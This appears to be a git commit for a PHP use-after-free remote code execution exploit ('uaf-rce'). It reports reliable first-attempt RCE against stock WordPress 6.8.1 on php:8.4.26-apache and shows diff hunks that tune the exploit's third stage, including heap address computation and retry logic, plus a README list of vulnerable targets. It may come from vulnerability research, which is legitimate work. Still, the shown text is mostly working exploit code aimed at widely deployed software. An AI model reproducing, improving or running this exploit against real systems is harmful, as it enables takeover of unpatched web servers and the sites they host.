Confirm WordPress 6.8.1 RCE and clean up stage 3 retry logic

WordPress on stock PHP (no php.ini) is vulnerable with the same heap
profile parameters as plain PHP. Tested 5/5 first-attempt RCE against
php:8.4.26-apache + WordPress 6.8.1 with no configuration changes.

Simplified stage 3 retry loop: removed the HTDATA offset scanning that
was added during WordPress debugging (unnecessary, stock offsets work).
Stage 3 now uses the same retry count as stages 1 and 2.

uaf-rce/README.md

@@ -207,6 +207,7 @@ The exploit has been tested on:
 - `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
 - `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
 - `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
+- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
 - `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
 
 ## display_errors and WordPress

uaf-rce/rce_exploit.py

@@ -924,9 +924,7 @@ def cmd_exploit(args) -> int:
     if single:
         ex.rotate()
 
-    htdata_addr = chunk + ex.htdata_offset
     zif_addr = libphp + zif
-    t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
 
     if args.proof_file:
         try:
@@ -962,8 +960,10 @@ def cmd_exploit(args) -> int:
                 pass
         return ""
 
-    proof = ""
-    for attempt in range(1, args.retries + 3):
+    htdata_addr = chunk + ex.htdata_offset
+    t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
+
+    for attempt in range(1, args.retries + 1):
         try:
             ex.stage3(htdata_addr, zif_addr)
         except OSError as e: